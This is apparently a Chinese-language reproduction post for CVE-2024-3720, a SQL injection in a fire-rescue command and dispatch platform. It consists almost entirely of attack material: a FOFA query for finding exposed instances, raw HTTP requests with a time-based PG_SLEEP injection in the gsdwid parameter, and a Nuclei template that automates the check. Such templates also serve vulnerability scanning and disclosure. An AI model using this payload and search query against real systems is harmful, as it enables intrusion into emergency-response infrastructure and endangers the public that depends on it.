CVE-2024-3720漏洞复现

body="天维尔信息科技股份有限公司" && title=="登入"

POST /twms-service-mfs/mfsNotice/page HTTP/1.1Host: x.x.x.xContent-Length: 106Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://x.x.x.xContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/pageAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Connection: close{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930*"},"hgubmt748n4":"="}

POST /twms-service-mfs/mfsNotice/page HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonConnection: close{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

id: CVE-2024-3720info:  name: 天维尔消防救援作战调度平台SQL注入漏洞  author: fgz  severity: high  description: '天维消防智能指挥平台是一个采用先进的信息技术和通信技术的系统，能够快速准确地获取和处理突发事件的信息，实现对灾害现场的实时监控和指挥调度，有效提升应急救援工作的能力和水平。天维消防智能指挥平台1.1.1.1存在一个漏洞，影响组件API接口中/mfsNotice/page文件的未知代码。通过操纵参数gsdwid可以导致SQL注入。'  tags: 2024,sqli  metadata:    max-request: 1    fofa-query: body="天维尔信息科技股份有限公司" && title=="登入"    verified: truerequests:  - raw:      - |-        POST /twms-service-mfs/mfsNotice/page HTTP/1.1        Host: {{Hostname}}        Content-Length: 106        Cache-Control: max-age=0        Upgrade-Insecure-Requests: 1        Origin: http://{{Hostname}}        Content-Type: application/json        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Referer: http://{{Hostname}}/twms-service-mfs/mfsNotice/page        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7        Connection: close        {"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}    matchers:      - type: dsl        dsl:          - "status_code == 200 && duration>=5 && duration<=8 && contains(body,'请求成功')"